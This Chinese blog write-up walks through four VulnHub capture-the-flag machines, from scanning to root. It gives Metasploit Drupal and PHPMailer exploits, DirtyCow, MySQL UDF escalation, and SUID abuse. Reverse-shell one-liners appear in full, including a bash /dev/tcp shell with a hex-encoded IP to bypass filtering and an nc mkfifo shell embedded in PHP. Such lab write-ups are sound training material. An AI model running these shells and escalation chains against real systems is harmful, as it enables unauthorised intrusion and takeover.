VulnHub

目录

1、Lampiao-Drupal漏洞-linux脏牛webshell提权

2、Raven2-目录扫描-PHPMailer命令执行-mysql(udf)webshe提权

3、Erath-信息收集-域名解析-异或解密-SUID提权

4、janjow-命令执行-内核本地提权


1、Lampiao-Drupal漏洞-linux脏牛webshell提权

靶机下载地址:https://download.vulnhub.com/lampiao/Lampiao.zip

扫描ip:

nmap xx.xx.xx.1/24

 扫描端口:

nmap xx.xx.xx.143 -p 0-65535

 进入扫描出来的网页,查看到cms:

 在msf里面查看可用的模块:

search Drupal

这里用第二个,查看模块:

use exploit/unix/webapp/drupal_drupalgeddon2
options

 设置IP,和端口,直接run ,报错了因为这是内网环境,我用的外网的所以正向访问不了:

 换成本地的kali,连接成功:

 上传漏洞检查脚本:

upload /root/linux-exploit-suggester.sh /tmp/

 运行脚本:

execute -f linux-exploit-suggester.sh

出现问题了,这里运行的内容不能显示出来, 进入shell运行,运行前赋予权限:

cd /tmp/
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

扫描出多个漏洞,我们选择了CVE-2016-5195(脏牛漏洞,可以借助webs hell权限提升的漏洞)

搜索对应的exp,下载exp,上传进目标主机,编译,运行(这里要放到目标主机进行编译,不然可能会运行不了):

下载:https://www.exploit-db.com/download/40847

上传:

upload /root/40847 /tmp/

  编译,运行:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

 拿到密码直接登录root得flag:

 也可以在shell里面换为root:

  总结:扫主机->扫端口->利用Drupal cms漏洞得到webshell权限->利用linux漏洞检测脚本检测主机漏洞->利用CVE-2016-5195脏牛漏洞提权。

注意:c++在linux上面的编译问题,如果再执行提权脚本时候无法回显信息,使用交互式shell。

在linux下如何编译C++程序 - 走看看

实现交互式shell的几种方式 - SAUCERMAN

2、Raven2-目录扫描-PHPMailer命令执行-mysql(udf)webshe提权

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova

扫描主机: 

 nmap xx.xx.xx.0/24

扫描目录,发现/vendor有目录遍历,进入PATH得到flag1:

dirb http://xx.xx.xx.xx/

继续用dirb扫描得到flag3:

 http://xx.xx.xx.xx/wordpress/wp-content/uploads/2018/11/flag3.png

 

在vendor 里面有一个PHPMailerAutoload.php第三方插件: 

查看phpmailer版本: 

 

 使用search搜索PHPMailer:

第一个利用版本满足要求: 

 需要我们设置目标ip,端口,网址根目录,发邮件的页面,以及反弹的IP和端口:

Module options (exploit/multi/http/phpmailer_arg_injection):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                       yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       Path to the application root
   TRIGGERURI                   no        Path to the uploaded payload
   VHOST                        no        HTTP server virtual host
   WEB_ROOT    /var/www         yes       Path to the web root


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PHPMailer <5.2.18

 在第一个flag的时候就知道网址根目录就是/var/www/html,现在就差发送邮件的页面不知道了。

用dirb的大字典扫一下,指定php:

dirb http://xx.xx.xx.xx/ -X .php /usr/share/wordlists/dirb/big.txt

 设置参数:

set RHOSTS xx.xx.xx.xx
set TARGETURI /contact.php
set WEB_ROOT /var/www/html

run

成功反弹:

  进入shell,查找flag找到flag3:

在/var/www下面发现flag 

 

 在/var/www/html/wordpress/wp-config.php发现数据库账户密码:

root
R@v3nSecurity

 切换终端,使用python获得交互式shell:

python -c 'import pty; pty.spawn("/bin/bash")'

连接数据库:

mysql -uroot -pR@v3nSecurity

 查看数据库版本:

 大于5.1使用mysql udf提权:

UDF提权原理

mysql内置函数不满足需要,所以mysql提供了添加新函数的机制,自行添加的mysql函数就称为UDF(Userdefined function-用户自定义函数) udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。

用户可以自定义提权的函数(比如执行系统命令)来进行提权。 

UDF提权条件

1.Mysql版本大于5.1时,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2.Mysql版本小于5.1版本时,udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

 在searchsploit找到对应的脚本,复制到本地,进行编译:

searchsploit -m 1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc

然后上传1518.so到目标机:

meterpreter > upload /root/1518.so /tmp/

 选择一个数据库:

use wordpress

 创建一个表:

create table func(line blob);

 读取1518.so并添加到func表里的一行:

insert into func values(load_file("/tmp/1518.so"));

 查询刚才添加的数据,并并保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方):

select * from func into dumpfile '/usr/lib/mysql/plugin/1518.so';

 加载1518.so函数文件用来创建自定义函数:

create function do_system returns integer soname '1518.so';

查看mysql.func表 :

select * from mysql.func;

 执行chmod u+s /usr/bin/find命令,利用自定义函数改变find命令权限:

select do_system('chmod u+s /usr/bin/find');

 使用find命令提权:

mysql>quit
touch hello
find hello -exec "/bin/sh" \;

进入root查看flag4: 

 总结:信息收集很关键,dirb目录扫描进行信息收集,在利用phpmailer命令执行漏洞时,要利用信息收集找到发送邮件的网页,mysql提权时注意使用交互式shell。

3、Erath-信息收集-域名解析-异或解密-SUID提权

IP地址:

nmap 192.168.215.1/24

端口:

nmap 192.168.215.254 -p 0-65535

 访问80和443端口没有得到有效信息,进行目录扫描也没有信息。

在443端口发现两个域名:

nmap -sC -sV -p- 192.168.215.145

 不能直接访问,把它们添加到hosts文件里面,将192.168.215.145 earth.local terratest.earth.local添加到文件末尾,然后访问http://earth.local/也没有上面有用信息:

 对两个域名进行目录扫描:

dirb http://earth.local/

发现登陆页面:http://earth.local/admin

 爆破无果,对另一个域名进行目录扫描,扫到/robots.txt。

dirb https://terratest.earth.local -X .txt,.zip,.php /usr/share/wordlists/dirb/big.txt

访问:

 访问https://terratest.earth.local/testingnotes.txt

测试安全消息系统注意事项:
 *使用 XOR 加密作为算法,在 RSA 中使用应该是安全的。
 *地球已确认他们已收到我们发送的消息。
 *testdata.txt 用于测试加密。
 *terra 用作管理门户的用户名。
 去做:
 *我们如何安全地将我们的每月密钥发送到地球?  还是我们应该每周更换密钥?
 *需要测试不同的密钥长度以防止暴力破解。  钥匙应该多长?
 *需要改进消息界面和管理面板的界面,目前非常基础。

 这里提到XOR加密,秘钥就是testdata.txt。对之前的16进制数进行异或:

解密得到登陆密码:earthclimatechangebad4humans,用户名为:terra

from libnum import n2s,s2n

text="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
c1=0x37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
c2=0x3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
c3=0x2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
print(n2s(s2n(text)^c1))
print(n2s(s2n(text)^c2))
print(n2s(s2n(text)^c3))
#b'According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth\'s hisCfy //}omo;/ppeare\'2~d;\x7ff$\'x,\x7fjj=*alf3,oq|y$w6&|%Qjvw+U <@f;y/j\x7fkr0~h<Pj1s.=\x06i\x97\xf3\xdcs-q,<j${ugn$u6&\x7f*+o\'erlj|mnn/?;-\'\x7f1%,f{kx8.`\x7fb)"\x8c\xe5\x99np`ust*yzd1}xbi:o{)~sh},^6#Tjcy7aj,yn>Hhu-\x17skl)$In*\'y/dybj7pt4~u"t=5jgh&#yx*+fwi=/eapyrncanxky\x7f8/k<\x0b6=+1\x80\xe8\xdaq*Ir8xo"P|7wfbn'
#b"According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the prol^rrlj~<evy\x7f{&*xk|h$kaw-oc 0-'web146iqc$hte7af#`ec~)o>kFnkukzdt|a>y~ciyvb~jn$6O?0i~\x7fd|0v|$lx4~%5l3d*`mx6a8{vcketdia %e,{tr9x>q{1w$h&v~oaxx-)if4tv6pudk"
#b'earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat'

登陆进去直接就是一个命令执行:

查找flag: 

find / -name "*flag*

 反弹shell,对ip中的数字进行了过滤,尝试使用十六进制绕过:

bash -i >& /dev/tcp/0xc0.0xa8.0xd7.0x8a/2222 0>&1

 反弹成功,提权,查找具有SUID权限的可执行文件:

find / -perm -u=s -type f 2>/dev/null

看到可以重置root:

 正在检查是否存在重置触发器。。。

重置失败,所有触发器不存在。

使用nc将这个文件传送到本机:

kali: nc -lnvp 2222 >reset_root
Earth: nc 192.168.215.138 2222 < /usr/bin/reset_root

 添加执行权限:

chmod +x reset_root

使用strace解析一下:

 创建这三个文件:

touch /dev/shm/kHgTFI5G;touch /dev/shm/Zw7bV9U5;touch /tmp/kcM0Wewe

然后执行,成功重置root密码为Earth: 

提权成功,查看flag:

4、janjow-命令执行-内核本地提权

ip和端口: 

访问页面发现命令执行: 

查看支持的反弹shell方式:

whereis nc bash python php exec lua perl ruby

用普通的反弹shell,无法成功反弹,而且限制了端口,这里443端口可以,写入代码进ft.php:

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.215.138 443 >/tmp/f");?>

这里直接用echo写入失败,可能是有长度限制,可以先写入一句话木马连接再写入,然后监听443端口,执行ft.php成功反弹:

使用交互式shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

 查看内核信息:

 搜索到exp,但是要本地提权:

 再/var/www/html/site/wordpress/config.php发现密码:

查看有哪些用户: 

compgen -u

 用上面的密码成功切换到本地用户:

 把exp下载到本地,上传靶机,编译,运行,提权成功:

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

T1M@

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值